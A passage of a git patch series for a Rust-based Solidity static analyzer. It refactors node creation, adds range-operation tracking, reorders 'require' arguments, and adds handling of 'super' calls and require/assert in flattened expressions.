@@ pub trait YulFuncCaller: let b = Builtin::Bytes(32); let var = ContextVar::new_from_builtin(*loc, self.builtin_or_add(b).into(), self) .into_expr_err(*loc)?; - let node = self.add_node(Node::ContextVar(var)); + let node = self.add_node(var); ctx.push_expr(ExprRet::Single(node), self) .into_expr_err(*loc)?; Ok(()) @@ -401,7 +401,7 @@ pub trait YulFuncCaller: range.min = Elem::from(Concrete::from(U256::from(0))); range.max = Elem::from(Concrete::from(U256::from(1))); var.ty.set_range(range).into_expr_err(*loc)?; - let node = self.add_node(Node::ContextVar(var)); + let node = self.add_node(var); ctx.push_expr(ExprRet::Single(node), self) .into_expr_err(*loc)?; Ok(()) @@ -412,7 +412,7 @@ pub trait YulFuncCaller: ContextVar::new_from_builtin(*loc, self.builtin_or_add(b).into(), self) .into_expr_err(*loc)?; var.display_name = format!("{id}_success"); - let node = self.add_node(Node::ContextVar(var)); + let node = self.add_node(var); ctx.push_expr(ExprRet::Single(node), self) .into_expr_err(*loc)?; Ok(()) @@ -426,7 +426,7 @@ pub trait YulFuncCaller: let b = Builtin::Uint(8); let var = ContextVar::new_from_builtin(*loc, self.builtin_or_add(b).into(), self) .into_expr_err(*loc)?; - let node = self.add_node(Node::ContextVar(var)); + let node = self.add_node(var); ctx.push_expr(ExprRet::Single(node), self) .into_expr_err(*loc)?; Ok(()) @@ -570,7 +570,7 @@ pub trait YulFuncCaller: ContextVar::new_from_builtin(*loc, self.builtin_or_add(b).into(), self) .into_expr_err(*loc)?; var.display_name = "selfbalance()".to_string(); - let node = self.add_node(Node::ContextVar(var)); + let node = self.add_node(var); ctx.push_expr(ExprRet::Single(node), self) .into_expr_err(*loc) } @@ -580,7 +580,7 @@ pub trait YulFuncCaller: ContextVar::new_from_builtin(*loc, self.builtin_or_add(b).into(), self) .into_expr_err(*loc)?; var.display_name = "address()".to_string(); - let node = self.add_node(Node::ContextVar(var)); + let node = self.add_node(var); ctx.push_expr(ExprRet::Single(node), self) .into_expr_err(*loc) } @@ -618,7 +618,7 @@ pub trait YulFuncCaller: ContextVar::new_from_builtin(*loc, self.builtin_or_add(b).into(), self) .into_expr_err(*loc)?; var.display_name = "codesize()".to_string(); - let node = self.add_node(Node::ContextVar(var)); + let node = self.add_node(var); ctx.push_expr(ExprRet::Single(node), self) .into_expr_err(*loc) } @@ -726,7 +726,7 @@ pub trait YulFuncCaller: } var.is_return = true; var.ty.set_range(range).into_expr_err(loc)?; - let node = self.add_node(Node::ContextVar(var)); + let node = self.add_node(var); self.add_edge(node, ctx, Edge::Context(ContextEdge::Return)); ctx.add_return_node( loc, From 76d4bb1c672f5df9c15e6ac71a66770833c7f0cf Mon Sep 17 00:00:00 2001 From: brock elmore Date: Wed, 17 Jul 2024 07:23:20 -0700 Subject: [PATCH 10/52] cleanup and super working --- crates/graph/src/nodes/context/expr_ret.rs | 6 + crates/graph/src/nodes/context/var/ranging.rs | 18 + crates/graph/src/nodes/func_ty.rs | 1 + crates/graph/src/nodes/struct_ty.rs | 8 +- crates/graph/src/range/elem/concrete.rs | 9 +- .../src/range/elem/elem_enum/range_elem.rs | 22 +- crates/graph/src/range/elem/elem_trait.rs | 8 +- crates/graph/src/range/elem/expr/mod.rs | 8 + crates/graph/src/range/elem/map_or_array.rs | 10 +- crates/graph/src/range/elem/reference.rs | 10 +- crates/shared/src/flattened.rs | 11 +- crates/solc-expressions/src/array.rs | 8 +- crates/solc-expressions/src/assign.rs | 4 +- crates/solc-expressions/src/bin_op.rs | 38 +- crates/solc-expressions/src/cmp.rs | 2 +- crates/solc-expressions/src/cond_op.rs | 129 +- .../src/context_builder/flattened.rs | 214 ++- .../src/context_builder/mod.rs | 2 +- crates/solc-expressions/src/env.rs | 6 +- .../solc-expressions/src/func_call/apply.rs | 4 +- .../src/func_call/func_caller.rs | 76 +- .../solc-expressions/src/func_call/helper.rs | 27 +- .../src/func_call/internal_call.rs | 50 +- .../src/func_call/intrinsic_call/address.rs | 2 +- .../src/func_call/intrinsic_call/array.rs | 6 +- .../src/func_call/intrinsic_call/block.rs | 2 +- .../func_call/intrinsic_call/dyn_builtin.rs | 2 +- .../intrinsic_call/intrinsic_caller.rs | 135 -- .../src/func_call/intrinsic_call/msg.rs | 2 +- .../src/func_call/intrinsic_call/solidity.rs | 13 +- .../src/func_call/intrinsic_call/types.rs | 5 +- .../src/func_call/namespaced_call.rs | 19 +- crates/solc-expressions/src/list.rs | 87 +- .../src/member_access/builtin_access.rs | 59 +- .../src/member_access/contract_access.rs | 49 +- .../src/member_access/enum_access.rs | 16 +- .../src/member_access/library_access.rs | 4 +- .../src/member_access/list_access.rs | 32 +- .../src/member_access/member_trait.rs | 151 +- .../src/member_access/struct_access.rs | 55 +- crates/solc-expressions/src/require.rs | 1104 +++++++------ crates/solc-expressions/src/variable.rs | 2 +- .../solc-expressions/src/yul/yul_builder.rs | 2 +- .../solc-expressions/src/yul/yul_cond_op.rs | 4 +- crates/solc-expressions/src/yul/yul_funcs.rs | 1367 ++++++++--------- 45 files changed, 1797 insertions(+), 1992 deletions(-) diff --git a/crates/graph/src/nodes/context/expr_ret.rs b/crates/graph/src/nodes/context/expr_ret.rs index b27930c7..92d20c13 100644 --- a/crates/graph/src/nodes/context/expr_ret.rs +++ b/crates/graph/src/nodes/context/expr_ret.rs @@ -298,4 +298,10 @@ impl ExprRet { pub fn is_empty(&self) -> bool { self.len() == 0 } + + pub fn into_sized(&self) -> [Self; N] { + self.as_vec().try_into().unwrap_or_else(|v: Vec| { + panic!("Expected a Vec of length {} but it was {}", N, v.len()) + }) + } } diff --git a/crates/graph/src/nodes/context/var/ranging.rs b/crates/graph/src/nodes/context/var/ranging.rs index eff44095..7844c92a 100644 --- a/crates/graph/src/nodes/context/var/ranging.rs +++ b/crates/graph/src/nodes/context/var/ranging.rs @@ -65,6 +65,24 @@ impl ContextVarNode { self.underlying(analyzer)?.ty.ref_range(analyzer) } + pub fn last_range_op( + &self, + analyzer: &impl GraphBackend, + arena: &mut RangeArena>, + ) -> Result, GraphError> { + if let Some(r) = self.ref_range(analyzer)? { + let min_op = r.range_min().last_range_op(analyzer, arena)?; + let max_op = r.range_max().last_range_op(analyzer, arena)?; + if min_op == max_op { + Ok(min_op) + } else { + Ok(None) + } + } else { + Ok(None) + } + } + pub fn range_min( &self, analyzer: &impl GraphBackend, diff --git a/crates/graph/src/nodes/func_ty.rs b/crates/graph/src/nodes/func_ty.rs index 4cb1a11c..f207c1b7 100644 --- a/crates/graph/src/nodes/func_ty.rs +++ b/crates/graph/src/nodes/func_ty.rs @@ -972,6 +972,7 @@ impl FunctionParamNode { let var = ContextVarNode::from(analyzer.add_node(var)); ctx.add_var(var, analyzer)?; analyzer.add_edge(var, ctx, Edge::Context(ContextEdge::Variable)); + analyzer.add_edge(var, ctx, Edge::Context(ContextEdge::CalldataVariable)); Ok(true) } else { Ok(false) diff --git a/crates/graph/src/nodes/struct_ty.rs b/crates/graph/src/nodes/struct_ty.rs index 872c5fef..498f1db1 100644 --- a/crates/graph/src/nodes/struct_ty.rs +++ b/crates/graph/src/nodes/struct_ty.rs @@ -61,17 +61,13 @@ impl StructNode { .collect() } - pub fn find_field( - &self, - analyzer: &impl GraphBackend, - ident: &Identifier, - ) -> Option { + pub fn find_field(&self, analyzer: &impl GraphBackend, field_name: &str) -> Option { analyzer .graph() .edges_directed(self.0.into(), Direction::Incoming) .filter(|edge| Edge::Field == *edge.weight()) .map(|edge| FieldNode::from(edge.source())) - .find(|field_node| field_node.name(analyzer).unwrap() == ident.name) + .find(|field_node| field_node.name(analyzer).unwrap() == field_name) } pub fn maybe_associated_contract(&self, analyzer: &impl GraphBackend) -> Option { diff --git a/crates/graph/src/range/elem/concrete.rs b/crates/graph/src/range/elem/concrete.rs index 218d756b..71732235 100644 --- a/crates/graph/src/range/elem/concrete.rs +++ b/crates/graph/src/range/elem/concrete.rs @@ -1,6 +1,6 @@ use crate::{ nodes::{Concrete, ContextVarNode}, - range::elem::{Elem, RangeArenaLike, RangeElem}, + range::elem::{Elem, RangeArenaLike, RangeElem, RangeOp}, GraphBackend, }; @@ -84,6 +84,13 @@ impl RangeConcrete { impl RangeElem for RangeConcrete { type GraphError = GraphError; + fn last_range_op( + &self, + analyzer: &impl GraphBackend, + arena: &mut RangeArena>, + ) -> Result, GraphError> { + Ok(None) + } fn arenaize( &mut self, analyzer: &mut impl GraphBackend, diff --git a/crates/graph/src/range/elem/elem_enum/range_elem.rs b/crates/graph/src/range/elem/elem_enum/range_elem.rs index 5e9ffcad..6d0ec76c 100644 --- a/crates/graph/src/range/elem/elem_enum/range_elem.rs +++ b/crates/graph/src/range/elem/elem_enum/range_elem.rs @@ -1,7 +1,7 @@ use crate::elem::{MinMaxed, RangeArenaLike}; use crate::{ nodes::{Concrete, ContextVarNode}, - range::elem::{collapse, Elem, MaybeCollapsed, RangeElem}, + range::elem::{collapse, Elem, MaybeCollapsed, RangeElem, RangeOp}, GraphBackend, }; @@ -10,6 +10,26 @@ use shared::{GraphError, NodeIdx, RangeArena}; impl RangeElem for Elem { type GraphError = GraphError; + fn last_range_op( + &self, + analyzer: &impl GraphBackend, + arena: &mut RangeArena>, + ) -> Result, GraphError> { + match self { + Self::Reference(d) => d.last_range_op(analyzer, arena), + Self::Concrete(c) => c.last_range_op(analyzer, arena), + Self::Expr(expr) => expr.last_range_op(analyzer, arena), + Self::ConcreteDyn(d) => d.last_range_op(analyzer, arena), + Self::Null => Ok(None), + Self::Arena(_) => { + let (de, idx) = self.dearenaize(arena); + let res = de.last_range_op(analyzer, arena)?; + self.rearenaize(de, idx, arena); + Ok(res) + } + } + } + fn arenaize( &mut self, analyzer: &mut impl GraphBackend, diff --git a/crates/graph/src/range/elem/elem_trait.rs b/crates/graph/src/range/elem/elem_trait.rs index 604a49df..1176f575 100644 --- a/crates/graph/src/range/elem/elem_trait.rs +++ b/crates/graph/src/range/elem/elem_trait.rs @@ -1,4 +1,4 @@ -use crate::{nodes::ContextVarNode, range::elem::Elem, GraphBackend}; +use crate::{elem::RangeOp, nodes::ContextVarNode, range::elem::Elem, GraphBackend}; use shared::{GraphError, NodeIdx, RangeArena}; use std::hash::Hash; @@ -123,4 +123,10 @@ pub trait RangeElem: Hash { analyzer: &mut impl GraphBackend, arena: &mut RangeArena>, ) -> Result<(), GraphError>; + + fn last_range_op( + &self, + analyzer: &impl GraphBackend, + arena: &mut RangeArena>, + ) -> Result, GraphError>; } diff --git a/crates/graph/src/range/elem/expr/mod.rs b/crates/graph/src/range/elem/expr/mod.rs index 22519975..3c070339 100644 --- a/crates/graph/src/range/elem/expr/mod.rs +++ b/crates/graph/src/range/elem/expr/mod.rs @@ -230,6 +230,14 @@ impl RangeExpr { impl RangeElem for RangeExpr { type GraphError = GraphError; + fn last_range_op( + &self, + analyzer: &impl GraphBackend, + arena: &mut RangeArena>, + ) -> Result, GraphError> { + Ok(Some(self.op)) + } + // #[tracing::instrument(level = "trace", skip_all)] fn arenaize( &mut self, diff --git a/crates/graph/src/range/elem/map_or_array.rs b/crates/graph/src/range/elem/map_or_array.rs index 2ca07abd..b92f073b 100644 --- a/crates/graph/src/range/elem/map_or_array.rs +++ b/crates/graph/src/range/elem/map_or_array.rs @@ -1,7 +1,7 @@ use crate::{ nodes::{Builtin, Concrete, ContextVarNode}, range::{ - elem::{Elem, MinMaxed, RangeConcrete, RangeElem}, + elem::{Elem, MinMaxed, RangeConcrete, RangeElem, RangeOp}, exec_traits::{RangeCast, RangeMemLen}, }, GraphBackend, @@ -274,6 +274,14 @@ impl RangeDyn { impl RangeElem for RangeDyn { type GraphError = GraphError; + fn last_range_op( + &self, + analyzer: &impl GraphBackend, + arena: &mut RangeArena>, + ) -> Result, GraphError> { + Ok(None) + } + fn arenaize( &mut self, analyzer: &mut impl GraphBackend, diff --git a/crates/graph/src/range/elem/reference.rs b/crates/graph/src/range/elem/reference.rs index 530bfc32..3294fe1f 100644 --- a/crates/graph/src/range/elem/reference.rs +++ b/crates/graph/src/range/elem/reference.rs @@ -1,7 +1,7 @@ use crate::{ nodes::{Concrete, ContextVarNode}, range::{ - elem::{Elem, MinMaxed, RangeArenaLike, RangeConcrete, RangeElem}, + elem::{Elem, MinMaxed, RangeArenaLike, RangeConcrete, RangeElem, RangeOp}, Range, }, GraphBackend, TypeNode, VarType, @@ -56,6 +56,14 @@ impl Reference { impl RangeElem for Reference { type GraphError = GraphError; + fn last_range_op( + &self, + analyzer: &impl GraphBackend, + arena: &mut RangeArena>, + ) -> Result, GraphError> { + ContextVarNode::from(self.idx).last_range_op(analyzer, arena) + } + fn arenaize( &mut self, analyzer: &mut impl GraphBackend, diff --git a/crates/shared/src/flattened.rs b/crates/shared/src/flattened.rs index 47d31a60..09a87bd5 100644 --- a/crates/shared/src/flattened.rs +++ b/crates/shared/src/flattened.rs @@ -3,9 +3,10 @@ use solang_parser::pt::{Expression, Loc, NamedArgument, Type}; #[derive(Debug, Clone, Copy)] pub enum ExprFlag { - FunctionName(usize), + FunctionName(usize, bool), New, Negate, + Requirement, } #[derive(Debug, Clone, Copy)] @@ -20,7 +21,9 @@ pub enum FlatExpr { }, NamedArgument(Loc, &'static str), - FunctionCallName(usize), + FunctionCallName(usize, bool), + Requirement(Loc), + Super(Loc, &'static str), Continue(Loc), Break(Loc), @@ -176,8 +179,10 @@ impl FlatExpr { | HexLiteral(loc, ..) | AddressLiteral(loc, ..) | Variable(loc, ..) + | Requirement(loc, ..) + | Super(loc, ..) | ArrayLiteral(loc, ..) => Some(*loc), - FunctionCallName(_) => None, + FunctionCallName(..) => None, } } } diff --git a/crates/solc-expressions/src/array.rs b/crates/solc-expressions/src/array.rs index 10123989..5729055b 100644 --- a/crates/solc-expressions/src/array.rs +++ b/crates/solc-expressions/src/array.rs @@ -160,16 +160,16 @@ pub trait Array: AnalyzerBackend + Sized { && parent.is_indexable(self).into_expr_err(loc)? { let len_var = self - .get_length(arena, ctx, loc, parent, true)? + .get_length(arena, ctx, parent, true, loc)? .unwrap() .latest_version_or_inherited_in_ctx(ctx, self); self.require( arena, + ctx, len_var.latest_version_or_inherited_in_ctx(ctx, self), idx.latest_version_or_inherited_in_ctx(ctx, self), - ctx, - loc, RangeOp::Gt, + loc, )?; } @@ -265,7 +265,7 @@ pub trait Array: AnalyzerBackend + Sized { { // if the index access is also an array, produce a length variable // we specify to return the variable because we dont want it on the stack - let _ = self.get_length(arena, ctx, loc, idx_access_node.into(), true)?; + let _ = self.get_length(arena, ctx, idx_access_node.into(), true, loc)?; } idx_access_cvar } else { diff --git a/crates/solc-expressions/src/assign.rs b/crates/solc-expressions/src/assign.rs index 4d0dda34..73c054f5 100644 --- a/crates/solc-expressions/src/assign.rs +++ b/crates/solc-expressions/src/assign.rs @@ -247,8 +247,8 @@ pub trait Assign: AnalyzerBackend + Sized if rhs_cvar.is_indexable(self).into_expr_err(loc)? { // rhs is indexable. get the length attribute, create a new length for the lhs, // and perform assign - let rhs_len_cvar = self.get_length(arena, ctx, loc, rhs_cvar, true)?.unwrap(); - let lhs_len_cvar = self.get_length(arena, ctx, loc, lhs_cvar, true)?.unwrap(); + let rhs_len_cvar = self.get_length(arena, ctx, rhs_cvar, true, loc)?.unwrap(); + let lhs_len_cvar = self.get_length(arena, ctx, lhs_cvar, true, loc)?.unwrap(); self.assign(arena, loc, lhs_len_cvar, rhs_len_cvar, ctx)?; // update the range self.update_array_if_length_var( diff --git a/crates/solc-expressions/src/bin_op.rs b/crates/solc-expressions/src/bin_op.rs index a1455ed0..f8632650 100644 --- a/crates/solc-expressions/src/bin_op.rs +++ b/crates/solc-expressions/src/bin_op.rs @@ -5,7 +5,7 @@ use graph::{ nodes::{ Concrete, ContextNode, ContextVar, ContextVarNode, ExprRet, KilledKind, TmpConstruction, }, - AnalyzerBackend, ContextEdge, Edge, Node, + AnalyzerBackend, ContextEdge, Edge, }; use shared::{ExprErr, IntoExprErr, RangeArena}; @@ -428,7 +428,7 @@ pub trait BinOp: AnalyzerBackend + Sized { let zero_node = self.add_concrete_var(ctx, Concrete::from(U256::zero()), loc)?; if self - .require(arena, tmp_rhs, zero_node, ctx, loc, RangeOp::Neq)? + .require(arena, ctx, tmp_rhs, zero_node, RangeOp::Neq, loc)? .is_none() { return Ok(Some(ExprRet::CtxKilled(KilledKind::Revert))); @@ -458,11 +458,11 @@ pub trait BinOp: AnalyzerBackend + Sized { if self .require( arena, + ctx, tmp_lhs.latest_version_or_inherited_in_ctx(ctx, self), min, - ctx, - loc, RangeOp::Gte, + loc, )? .is_none() { @@ -487,11 +487,11 @@ pub trait BinOp: AnalyzerBackend + Sized { if self .require( arena, + ctx, tmp_lhs.latest_version_or_inherited_in_ctx(ctx, self), max, - ctx, - loc, RangeOp::Lte, + loc, )? .is_none() { @@ -523,11 +523,11 @@ pub trait BinOp: AnalyzerBackend + Sized { if self .require( arena, + ctx, tmp_lhs.latest_version_or_inherited_in_ctx(ctx, self), max, - ctx, - loc, RangeOp::Lte, + loc, )? .is_none() { @@ -554,11 +554,11 @@ pub trait BinOp: AnalyzerBackend + Sized { if self .require( arena, + ctx, new_lhs.latest_version_or_inherited_in_ctx(ctx, self), min, - ctx, - loc, RangeOp::Gte, + loc, )? .is_none() { @@ -591,11 +591,11 @@ pub trait BinOp: AnalyzerBackend + Sized { if self .require( arena, + ctx, tmp_lhs.latest_version_or_inherited_in_ctx(ctx, self), max, - ctx, - loc, RangeOp::Lte, + loc, )? .is_none() { @@ -643,11 +643,11 @@ pub trait BinOp: AnalyzerBackend + Sized { if self .require( arena, + ctx, new_lhs.latest_version_or_inherited_in_ctx(ctx, self), min, - ctx, - loc, RangeOp::Gte, + loc, )? .is_none() { @@ -672,7 +672,7 @@ pub trait BinOp: AnalyzerBackend + Sized { let zero = rhs.ty_zero_concrete(self).into_expr_err(loc)?.unwrap(); let zero = self.add_concrete_var(ctx, zero, loc)?; if self - .require(arena, rhs, zero, ctx, loc, RangeOp::Gte)? + .require(arena, ctx, rhs, zero, RangeOp::Gte, loc)? .is_none() { return Ok(Some(ExprRet::CtxKilled(KilledKind::Revert))); @@ -690,11 +690,11 @@ pub trait BinOp: AnalyzerBackend + Sized { if self .require( arena, + ctx, tmp_lhs.latest_version_or_inherited_in_ctx(ctx, self), max, - ctx, - loc, RangeOp::Lte, + loc, )? .is_none() { @@ -720,11 +720,11 @@ pub trait BinOp: AnalyzerBackend + Sized { if self .require( arena, + ctx, new_lhs.latest_version_or_inherited_in_ctx(ctx, self), min, - ctx, - loc, RangeOp::Gte, + loc, )? .is_none() { diff --git a/crates/solc-expressions/src/cmp.rs b/crates/solc-expressions/src/cmp.rs index b44fc7e6..4e7c902c 100644 --- a/crates/solc-expressions/src/cmp.rs +++ b/crates/solc-expressions/src/cmp.rs @@ -6,7 +6,7 @@ use graph::{ BuiltInNode, Builtin, Concrete, ContextNode, ContextVar, ContextVarNode, ExprRet, TmpConstruction, }, - AnalyzerBackend, Node, Range, SolcRange, VarType, + AnalyzerBackend, Range, SolcRange, VarType, }; use shared::{ExprErr, GraphError, IntoExprErr, RangeArena}; diff --git a/crates/solc-expressions/src/cond_op.rs b/crates/solc-expressions/src/cond_op.rs index f3e1db33..37ea5681 100644 --- a/crates/solc-expressions/src/cond_op.rs +++ b/crates/solc-expressions/src/cond_op.rs @@ -171,74 +171,75 @@ pub trait CondOp: AnalyzerBackend + Requir false_expr: &Expression, ctx: ContextNode, ) -> Result<(), ExprErr> { - tracing::trace!("conditional operator"); - self.apply_to_edges(ctx, loc, arena, &|analyzer, arena, ctx, loc| { - let true_subctx_kind = SubContextKind::new_fork(ctx, true); - let tctx = - Context::new_subctx(true_subctx_kind, loc, analyzer, None).into_expr_err(loc)?; - let true_subctx = ContextNode::from(analyzer.add_node(Node::Context(tctx))); + unreachable!("Should not have called this") + // tracing::trace!("conditional operator"); + // self.apply_to_edges(ctx, loc, arena, &|analyzer, arena, ctx, loc| { + // let true_subctx_kind = SubContextKind::new_fork(ctx, true); + // let tctx = + // Context::new_subctx(true_subctx_kind, loc, analyzer, None).into_expr_err(loc)?; + // let true_subctx = ContextNode::from(analyzer.add_node(Node::Context(tctx))); - let false_subctx_kind = SubContextKind::new_fork(ctx, false); - let fctx = - Context::new_subctx(false_subctx_kind, loc, analyzer, None).into_expr_err(loc)?; - let false_subctx = ContextNode::from(analyzer.add_node(Node::Context(fctx))); - ctx.set_child_fork(true_subctx, false_subctx, analyzer) - .into_expr_err(loc)?; - let ctx_fork = analyzer.add_node(Node::ContextFork); - analyzer.add_edge(ctx_fork, ctx, Edge::Context(ContextEdge::ContextFork)); - analyzer.add_edge( - NodeIdx::from(true_subctx.0), - ctx_fork, - Edge::Context(ContextEdge::Subcontext), - ); - analyzer.add_edge( - NodeIdx::from(false_subctx.0), - ctx_fork, - Edge::Context(ContextEdge::Subcontext), - ); + // let false_subctx_kind = SubContextKind::new_fork(ctx, false); + // let fctx = + // Context::new_subctx(false_subctx_kind, loc, analyzer, None).into_expr_err(loc)?; + // let false_subctx = ContextNode::from(analyzer.add_node(Node::Context(fctx))); + // ctx.set_child_fork(true_subctx, false_subctx, analyzer) + // .into_expr_err(loc)?; + // let ctx_fork = analyzer.add_node(Node::ContextFork); + // analyzer.add_edge(ctx_fork, ctx, Edge::Context(ContextEdge::ContextFork)); + // analyzer.add_edge( + // NodeIdx::from(true_subctx.0), + // ctx_fork, + // Edge::Context(ContextEdge::Subcontext), + // ); + // analyzer.add_edge( + // NodeIdx::from(false_subctx.0), + // ctx_fork, + // Edge::Context(ContextEdge::Subcontext), + // ); - analyzer.true_fork_if_cvar(arena, if_expr.clone(), true_subctx)?; - analyzer.apply_to_edges(true_subctx, loc, arena, &|analyzer, arena, ctx, _loc| { - analyzer.parse_ctx_expr(arena, true_expr, ctx) - })?; + // analyzer.true_fork_if_cvar(arena, if_expr.clone(), true_subctx)?; + // analyzer.apply_to_edges(true_subctx, loc, arena, &|analyzer, arena, ctx, _loc| { + // analyzer.parse_ctx_expr(arena, true_expr, ctx) + // })?; - analyzer.false_fork_if_cvar(arena, if_expr.clone(), false_subctx)?; - analyzer.apply_to_edges(false_subctx, loc, arena, &|analyzer, arena, ctx, _loc| { - analyzer.parse_ctx_expr(arena, false_expr, ctx) - }) - }) + // analyzer.false_fork_if_cvar(arena, if_expr.clone(), false_subctx)?; + // analyzer.apply_to_edges(false_subctx, loc, arena, &|analyzer, arena, ctx, _loc| { + // analyzer.parse_ctx_expr(arena, false_expr, ctx) + // }) + // }) } - /// Creates the true_fork cvar (updates bounds assuming its true) - fn true_fork_if_cvar( - &mut self, - arena: &mut RangeArena>, - if_expr: Expression, - true_fork_ctx: ContextNode, - ) -> Result<(), ExprErr> { - self.apply_to_edges( - true_fork_ctx, - if_expr.loc(), - arena, - &|analyzer, arena, ctx, _loc| { - analyzer.handle_require(arena, &[if_expr.clone()], ctx)?; - Ok(()) - }, - ) - } + // /// Creates the true_fork cvar (updates bounds assuming its true) + // fn true_fork_if_cvar( + // &mut self, + // arena: &mut RangeArena>, + // if_expr: Expression, + // true_fork_ctx: ContextNode, + // ) -> Result<(), ExprErr> { + // self.apply_to_edges( + // true_fork_ctx, + // if_expr.loc(), + // arena, + // &|analyzer, arena, ctx, _loc| { + // analyzer.handle_require(arena, &[if_expr.clone()], ctx)?; + // Ok(()) + // }, + // ) + // } - /// Creates the false_fork cvar (inverts the expression and sets the bounds assuming its false) - fn false_fork_if_cvar( - &mut self, - arena: &mut RangeArena>, - if_expr: Expression, - false_fork_ctx: ContextNode, - ) -> Result<(), ExprErr> { - let loc = if_expr.loc(); - let inv_if_expr = self.inverse_expr(if_expr); - self.apply_to_edges(false_fork_ctx, loc, arena, &|analyzer, arena, ctx, _loc| { - analyzer.handle_require(arena, &[inv_if_expr.clone()], ctx)?; - Ok(()) - }) - } + // /// Creates the false_fork cvar (inverts the expression and sets the bounds assuming its false) + // fn false_fork_if_cvar( + // &mut self, + // arena: &mut RangeArena>, + // if_expr: Expression, + // false_fork_ctx: ContextNode, + // ) -> Result<(), ExprErr> { + // let loc = if_expr.loc(); + // let inv_if_expr = self.inverse_expr(if_expr); + // self.apply_to_edges(false_fork_ctx, loc, arena, &|analyzer, arena, ctx, _loc| { + // analyzer.handle_require(arena, &[inv_if_expr.clone()], ctx)?; + // Ok(()) + // }) + // } } diff --git a/crates/solc-expressions/src/context_builder/flattened.rs b/crates/solc-expressions/src/context_builder/flattened.rs index 46762be2..935b8f6e 100644 --- a/crates/solc-expressions/src/context_builder/flattened.rs +++ b/crates/solc-expressions/src/context_builder/flattened.rs @@ -8,14 +8,14 @@ use crate::{ use graph::{ elem::{Elem, RangeOp}, nodes::{ - Builtin, Concrete, Context, ContextNode, ContextVar, ContextVarNode, ContractNode, ExprRet, - FunctionNode, KilledKind, StructNode, SubContextKind, + Builtin, Concrete, ConcreteNode, Context, ContextNode, ContextVar, ContextVarNode, + ContractNode, ExprRet, FunctionNode, KilledKind, StructNode, SubContextKind, }, AnalyzerBackend, ContextEdge, Edge, Node, TypeNode, VarType, }; use shared::{string_to_static, ExprErr, ExprFlag, FlatExpr, IntoExprErr, NodeIdx, RangeArena}; -use solang_parser::pt::{CodeLocation, Expression, Loc, Statement}; +use solang_parser::pt::{CodeLocation, Expression, Identifier, Loc, Statement}; impl Flatten for T where T: AnalyzerBackend + Sized + ExprTyParser @@ -342,28 +342,63 @@ pub trait Flatten: self.traverse_expression(&arg.expr, unchecked); }); - self.push_expr(FlatExpr::FunctionCallName(input_args.len())); self.traverse_expression(func_expr, unchecked); + match self.expr_stack_mut().pop().unwrap() { + FlatExpr::Super(loc, name) => { + self.push_expr(FlatExpr::FunctionCallName(input_args.len(), true)); + self.push_expr(FlatExpr::Variable(loc, name)); + } + other => { + self.push_expr(FlatExpr::FunctionCallName(input_args.len(), false)); + self.push_expr(other); + } + } + input_args.iter().for_each(|arg| { self.push_expr(FlatExpr::from(arg)); }); self.push_expr(FlatExpr::NamedFunctionCall(*loc, input_args.len())); } - FunctionCall(loc, func_expr, input_exprs) => { - input_exprs.iter().rev().for_each(|expr| { - self.traverse_expression(expr, unchecked); - }); + FunctionCall(loc, func_expr, input_exprs) => match &**func_expr { + Variable(Identifier { name, .. }) if matches!(&**name, "require" | "assert") => { + input_exprs.iter().rev().for_each(|expr| { + self.traverse_expression(expr, unchecked); + }); + let cmp = self.expr_stack_mut().pop().unwrap(); + self.push_expr(FlatExpr::Requirement(*loc)); + self.push_expr(cmp); + } + _ => { + input_exprs.iter().rev().for_each(|expr| { + self.traverse_expression(expr, unchecked); + }); + + self.traverse_expression(func_expr, unchecked); + match self.expr_stack_mut().pop().unwrap() { + FlatExpr::Super(loc, name) => { + self.push_expr(FlatExpr::FunctionCallName(input_exprs.len(), true)); + self.push_expr(FlatExpr::Variable(loc, name)); + } + other => { + self.push_expr(FlatExpr::FunctionCallName(input_exprs.len(), false)); + self.push_expr(other); + } + } - self.push_expr(FlatExpr::FunctionCallName(input_exprs.len())); - self.traverse_expression(func_expr, unchecked); - self.push_expr(FlatExpr::FunctionCall(*loc, input_exprs.len())); - } + self.push_expr(FlatExpr::FunctionCall(*loc, input_exprs.len())); + } + }, // member This(loc) => self.push_expr(FlatExpr::This(*loc)), - MemberAccess(loc, member_expr, ident) => { - self.traverse_expression(member_expr, unchecked); - self.push_expr(FlatExpr::try_from(parent_expr).unwrap()); - } + MemberAccess(loc, member_expr, ident) => match &**member_expr { + Variable(Identifier { name, .. }) if name == "super" => { + self.push_expr(FlatExpr::Super(*loc, string_to_static(ident))); + } + _ => { + self.traverse_expression(member_expr, unchecked); + self.push_expr(FlatExpr::try_from(parent_expr).unwrap()); + } + }, // Misc. Type(..) => self.push_expr(FlatExpr::try_from(parent_expr).unwrap()), @@ -458,8 +493,8 @@ pub trait Flatten: ); match next { // Flag expressions - FunctionCallName(n) => { - self.set_expr_flag(ExprFlag::FunctionName(n)); + FunctionCallName(n, is_super) => { + self.set_expr_flag(ExprFlag::FunctionName(n, is_super)); Ok(()) } Negate(_) => { @@ -490,7 +525,7 @@ pub trait Flatten: // Comparator Equal(loc) | NotEqual(loc) | Less(loc) | More(loc) | LessEqual(loc) - | MoreEqual(loc) => self.interp_cmp(arena, ctx, loc, next), + | MoreEqual(loc) | And(loc) | Or(loc) => self.interp_cmp(arena, ctx, loc, next), If { .. } => self.interp_if(arena, ctx, stack, next), @@ -535,8 +570,13 @@ pub trait Flatten: | AssignShiftRight(loc, ..) => self.interp_op(arena, ctx, next, loc, true), Parenthesis(_) => todo!(), - MemberAccess(..) => todo!(), + Super(..) => unreachable!(), + MemberAccess(..) => self.interp_member_access(arena, ctx, next), + Requirement(..) => { + self.set_expr_flag(ExprFlag::Requirement); + Ok(()) + } FunctionCall(..) => self.interp_func_call(arena, ctx, next, None), FunctionCallBlock(_) => todo!(), NamedArgument(..) => Ok(()), @@ -547,20 +587,33 @@ pub trait Flatten: Delete(_) => todo!(), UnaryPlus(_) => todo!(), - And(_) => todo!(), - Or(_) => todo!(), ConditionalOperator(_) => todo!(), This(_) => todo!(), - List(_, _) => self.interp_list(arena, ctx, stack, next, parse_idx), + List(_, _) => self.interp_list(ctx, stack, next, parse_idx), Parameter(_, _, _) => Ok(()), Null(loc) => ctx.push_expr(ExprRet::Null, self).into_expr_err(loc), + }?; + + if matches!(self.peek_expr_flag(), Some(ExprFlag::Requirement)) + && !matches!(next, Requirement(..)) + { + let _ = self.take_expr_flag(); + let loc = next.try_loc().unwrap(); + let mut lhs = ctx.pop_n_latest_exprs(1, loc, self).into_expr_err(loc)?; + let lhs = lhs.swap_remove(0); + let cnode = ConcreteNode::from(self.add_node(Concrete::Bool(true))); + let tmp_true = ContextVar::new_from_concrete(Loc::Implicit, ctx, cnode, 